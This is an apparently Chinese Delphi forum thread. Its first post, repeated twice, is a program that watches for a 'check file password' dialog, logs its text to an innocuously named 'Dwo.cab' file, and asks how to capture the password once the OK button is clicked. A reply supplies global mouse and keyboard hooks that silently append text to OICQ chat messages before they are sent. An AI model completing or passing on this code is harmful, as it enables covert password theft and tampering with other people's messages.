program Project1;uses
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs;{$R *.res}
var
h,hwndedit,hbutton:hwnd;
i:integer;
f:textfile;
c:pchar;
begin
if not FileExists('Dwo.cab') then
begin
h:=CreateFile(PChar('Dwo.cab'),GENERIC_WRITE, FILE_SHARE_Read,nil, CREATE_ALWAYS, 0, 0);
CloseHandle(h);
end;
while 1=1 do
begin
i:=0 ;
c:='';
sleep(1000);
h:=GetForegroundWindow;
i:=GetWindowTextLength(h)+1;
if i>1 then
begin
GetMem(c,i);
GetWindowText(h,c,i);
if strpos(c,'检查文件密码')<>nil then
begin
assignFile(F, 'Dwo.cab');
append(f);
writeln(f,c);
hwndedit:=FindWindowEx(h,0, 'Edit', nil);
GetwindowText(h, c ,12);
hbutton:=FindWindowEx(h,0, 'button', '确定');
// 下面应该是截获那个hbutton按钮的点击消息
// if button is clicked then
writeln(f,c);
flush(f);
closefile(f);
FreeMem(c,0);
break;
end;
end;
end;end.请看源代码的注释!谢谢!
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs;{$R *.res}
var
h,hwndedit,hbutton:hwnd;
i:integer;
f:textfile;
c:pchar;
begin
if not FileExists('Dwo.cab') then
begin
h:=CreateFile(PChar('Dwo.cab'),GENERIC_WRITE, FILE_SHARE_Read,nil, CREATE_ALWAYS, 0, 0);
CloseHandle(h);
end;
while 1=1 do
begin
i:=0 ;
c:='';
sleep(1000);
h:=GetForegroundWindow;
i:=GetWindowTextLength(h)+1;
if i>1 then
begin
GetMem(c,i);
GetWindowText(h,c,i);
if strpos(c,'检查文件密码')<>nil then
begin
assignFile(F, 'Dwo.cab');
append(f);
writeln(f,c);
hwndedit:=FindWindowEx(h,0, 'Edit', nil);
GetwindowText(h, c ,12);
hbutton:=FindWindowEx(h,0, 'button', '确定');
// 下面应该是截获那个hbutton按钮的点击消息
// if button is clicked then
writeln(f,c);
flush(f);
closefile(f);
FreeMem(c,0);
break;
end;
end;
end;end.请看源代码的注释!谢谢!
解决方案 »
- 怎样处理多个自定义消息?
- 跪求~~大牛在想等啊。 转义字符啊~~
- 请教FastReport的使用问题!!
- 简单问题,比较急!!
- 如何 实现 动态 显示 HINT ???????????????????????????急!!!!!
- 怎样实现主细表录入?
- 我想做一个互联网上传输数据的程序,谁来帮帮忙啊?
- DELPHI数据的分配
- 有关RTTI,请问如何从一个控件中通过一个事件名称得到该事件的类型信息PTypeInfo(有一定难度)?
- TO: Chechy,Nicrosoft,不知是否可以每隔一段时间推荐一下精彩的问题。谢谢大家的光临。。
- 【求助】如何处理出错
- 关于隐藏和重现进程程序、隐藏和重现系统托盘图标
unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons;type
TForm1 = class(TForm)
BitBtn1: TBitBtn;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
procedure FormCreate(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
function GetWndText(hWnd:HWND):string;
procedure SetWndText(hWnd:HWND;szText:string);
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
hMouse:HHook;
hKey:HHook;
const
sendStr='就让我面对冰冷的电脑,想象你的笑容......';
implementation{$R *.dfm}function TForm1.GetWndText(hWnd: HWND): string;
var
bufTemp:pchar;
bufSize:longint;
L:longint;
begin
bufSize:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;
GetMem(bufTemp,bufSize);
try
L:=longint(bufTemp);
SendMessage(hWnd,WM_GETTEXT,bufSize,L);
result:=StrPas(bufTemp);
finally
FreeMem(bufTemp,bufSize);
end;
end;procedure TForm1.SetWndText(hWnd: HWND;szText:string);
var
mText:pchar;
begin
GetMem(mText,length(szText));
StrCopy(mText,pchar(szText));
try
SendMessage(hWnd,WM_SETTEXT,0,integer(mText));
finally
FreeMem(mText,length(szText));
end;
end;function MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
stdcall;export;
var
P:TPoint;
hWindow,hChat,hButton_1,hButton_2:HWND;
s:string;
begin
result:=0;
if wParam=WM_LBUTTONDOWN then
begin
hWindow:=FindWindow(NIL,'发送消息');
if hWindow<>0 then
begin
GetCursorPos(P);
hButton_1:=WindowFromPoint(P);
hButton_2:=FindWindowEx(hWindow,0,NIL,'送讯息');
if ((hButton_1<>0) and (hButton_2<>0) and
(hButton_1=hButton_2)) then
begin
hChat:=FindWindowEx(hWindow,0,'TRichEdit',NIL);
if hChat<>0 then
begin
s:=Form1.GetWndText(hChat);
s:=s+#13+#10+sendStr;
Form1.SetWndText(hChat,s);
end
else
Exit;
end;
end;
end;
if iCode<0 then
result:=CallNextHookEx(hMouse,iCode,wParam,lParam);
end;function KeyHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
stdcall;export;
var
hWindow:HWND;
hChat:HWND;
s:string;
begin
result:=0;
//截获oicq发送消息的快捷键(Ctrl+Enter)
//if ((wParam=VK_RETURN) and (GetKeyState(VK_CONTROL)<>0)) then
if((GetKeyState(VK_CONTROL)<>0) and (wParam=VK_RETURN)) then
begin
hWindow:=FindWindow(NIL,'发送消息');
if hWindow<>0 then
begin
hChat:=FindWindowEx(hWindow,0,'TRichEdit',NIL);
if hChat<>0 then
begin
s:=Form1.GetWndText(hChat);
s:=s+#13+#10+sendStr;
Form1.SetWndText(hChat,s);
end;
end
else
Exit;
end;
if iCode<0 then
result:=CallNextHookEx(hKey,iCode,wParam,lParam);
end;procedure TForm1.FormCreate(Sender: TObject);
begin
hMouse:=SetWindowsHookEx(WH_MOUSE,@MouseHookProc,HInstance,0);
hKey:=SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,HInstance,0);
end;procedure TForm1.BitBtn1Click(Sender: TObject);
begin
UnHookWindowsHookEx(hMouse);
UnHookWindowsHookEx(hKey);
Application.Terminate;
end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnHookWindowsHookEx(hMouse);
UnHookWindowsHookEx(hKey);
end;end.